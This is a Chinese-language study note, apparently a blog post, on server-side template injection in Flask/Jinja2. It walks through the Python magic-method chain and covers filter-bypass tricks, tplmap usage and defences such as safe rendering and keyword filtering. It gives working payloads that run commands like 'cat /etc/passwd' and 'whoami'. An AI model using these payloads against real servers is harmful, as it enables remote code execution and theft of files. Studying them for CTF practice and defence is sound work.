模板注入漏洞(SSTI)学习笔记

模板注入漏洞(SSTI)学习笔记


1. 模板注入简介

什么是模板引擎?

模板引擎用于将动态数据渲染到静态页面(如 HTML)。例如,Jinja2(Python)、Twig(PHP)等。
示例

python 复制代码
# Flask中使用Jinja2渲染模板
from flask import render_template
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template('index.html', name=user_input)

如果用户输入{``{7*7}},且页面显示49,说明存在SSTI漏洞。


2. 漏洞原理

魔术方法(Magic Methods)

  • __class__:返回对象的类。

    python 复制代码
    "".__class__  # 返回 <class 'str'>
  • __bases__:返回类的基类。

    python 复制代码
    "".__class__.__bases__  # 返回 (<class 'object'>,)
  • __subclasses__():返回类的所有子类。

    python 复制代码
    "".__class__.__bases__[0].__subclasses__()  # 返回 object 的所有子类

攻击流程

  1. 检测漏洞 :输入{``{7*7}},若返回49则存在漏洞。
  2. 找到基类 :通过字符串对象找到object类。
  3. 遍历子类 :寻找包含危险功能的子类(如os._wrap_close)。
  4. 执行命令:调用子类的方法执行系统命令。

3. 漏洞利用示例(Python3)

Payload 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行原理
    1. "".__class__<class 'str'>
    2. __bases__[0]<class 'object'>
    3. __subclasses__()[128] → 找到os._wrap_close
    4. __init__.__globals__ → 获取全局变量(包含os模块)
    5. popen('cat /etc/passwd').read() → 执行命令并读取结果。

Payload 2:利用循环执行命令

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行原理
    遍历所有子类,找到_wrap_close类,调用eval执行系统命令。

4. 绕过技巧(示例)

绕过.符号

使用[]attr()过滤器:

python 复制代码
{{ ""["__class__"] }}          # 等价于 "".__class__
{{ ""|attr("__class__") }}     # 使用过滤器

绕过中括号[]

使用__getitem__方法:

python 复制代码
{{ "".__class__.__bases__.__getitem__(0) }}  # 等价于 __bases__[0]

绕过引号

request.args传递参数:

python 复制代码
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
  • 通过URL参数a传递__builtins__,避免直接使用引号。

5. 绕过技巧(续)

绕过数字

如果数字被过滤,可以通过count方法生成数字:

python 复制代码
{{ (dict(e=a)|join|count) }}  # 返回 1
  • 执行原理
    dict(e=a)生成一个字典,join将其转换为字符串,count计算字符串长度(1)。

绕过关键字

如果classbase等关键字被过滤,可以通过join拼接绕过:

python 复制代码
{{ dict(__in=a,it__=a)|join }}  # 返回 __init__
  • 执行原理
    通过字典拼接生成__init__字符串。

绕过{``{}}

如果{``{被过滤,可以使用{% %}语法:

python 复制代码
{% print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()) %}
  • 执行原理
    使用{% %}代替{``{ }},直接执行命令并输出结果。

6. 实际案例解析

案例 1:Flask 模板注入

假设一个 Flask 应用渲染用户输入:

python 复制代码
@app.route('/')
def index():
    user_input = request.args.get('name')
    return render_template_string(f"Hello, {user_input}!")
  • 攻击步骤
    1. 输入{``{7*7}},页面显示Hello, 49!,确认存在漏洞。

    2. 使用以下 Payload 执行命令:

      python 复制代码
      {{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() }}
    3. 页面返回当前用户(如root)。

案例 2:绕过过滤

假设应用过滤了.[],可以使用attr__getitem__绕过:

python 复制代码
{{ ""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")() }}
  • 执行原理
    通过attr过滤器逐步获取__class____bases__等属性,最终找到子类。

7. 防护措施

1. 避免用户控制模板内容

  • 错误示例

    python 复制代码
    render_template_string(f"Hello, {user_input}!")
  • 正确示例

    python 复制代码
    render_template('index.html', name=user_input)

2. 使用安全的模板渲染方法

  • 避免直接拼接用户输入到模板中。
  • 使用模板引擎提供的安全渲染方法。

3. 过滤关键词

  • 过滤{``{}}__class____bases__等关键词。

  • 示例:

    python 复制代码
    if any(keyword in user_input for keyword in ["__class__", "__bases__", "{{", "}}"]):
        return "Invalid input!"

4. 配置防火墙

  • 使用 WAF(Web 应用防火墙)拦截恶意请求。

8. 总结
  • 漏洞本质:用户输入被直接拼接到模板中,导致恶意代码执行。
  • 攻击核心 :利用魔术方法(如__class____bases__)找到危险类并执行命令。
  • 防护关键:避免用户控制模板内容,过滤关键词,使用安全的渲染方法。

9. 实际案例解析(续)

案例 3:绕过复杂过滤

假设应用过滤了{``{}}.[]__class__等关键词,可以通过以下方式绕过:

  1. 使用request.args传递参数

    python 复制代码
    {{ url_for.__globals__[request.args.a] }}&a=__builtins__
    • 执行原理
      通过URL参数a传递__builtins__,避免直接使用关键词。
  2. 使用request.cookies绕过

    python 复制代码
    {{ url_for.__globals__[request.cookies.a] }}
    • Cookie设置

      http 复制代码
      Cookie: a=__builtins__
  3. 使用十六进制编码绕过

    python 复制代码
    {{ ()["\x5f\x5fclass\x5f\x5f"] }}  # 等价于 ().__class__

10. 工具使用

1. Tplmap

  • 功能:自动化检测和利用 SSTI 漏洞。

  • 使用示例

    bash 复制代码
    tplmap -u http://example.com/?name=test
  • 输出
    检测是否存在漏洞,并自动生成 Payload。

2. Burp Suite

  • 功能:手动测试 SSTI 漏洞。
  • 步骤
    1. 发送请求并观察响应。
    2. 使用 Payload 测试漏洞。
    3. 利用漏洞执行命令或读取文件。

11. 进阶技巧

1. 利用config对象
config对象包含应用的配置信息,可以通过它执行命令:

python 复制代码
{{ config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
  • 执行原理
    通过config对象的__globals__属性访问__builtins__,调用eval执行命令。

2. 利用url_for函数
url_for是 Flask 中的全局函数,可以通过它访问__builtins__

python 复制代码
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

3. 利用request对象
request对象包含请求信息,可以通过它绕过过滤:

python 复制代码
{{ request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

12. 总结与建议

1. 漏洞危害

  • 读取敏感文件(如/etc/passwd)。
  • 执行任意系统命令(如whoamicat /flag)。
  • 获取服务器权限。

2. 防护建议

  • 输入过滤:严格过滤用户输入,禁止特殊字符和关键词。
  • 模板渲染:使用安全的模板渲染方法,避免直接拼接用户输入。
  • 安全配置:配置防火墙,限制敏感函数和模块的访问。

3. 学习资源

  • CTF 题目:练习 SSTI 相关的 CTF 题目(如 Flask SSTI)。
  • 工具使用:熟悉 Tplmap、Burp Suite 等工具。
  • 代码审计:学习常见模板引擎的源码,理解其工作原理。

13. 示例代码解析

示例 1:读取文件

python 复制代码
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
  • 执行步骤
    1. 找到str类的基类object
    2. 遍历object的子类,找到os._wrap_close
    3. 调用popen执行命令并读取结果。

示例 2:绕过过滤

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}
  • 执行步骤
    1. 遍历object的子类,找到_wrap_close
    2. 调用eval执行系统命令。

相关推荐
叶落阁主15 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
齐生11 天前
iOS 知识点 - IAP 是怎样的?
笔记
tingshuo29171 天前
D006 【模板】并查集
笔记
tingshuo29172 天前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全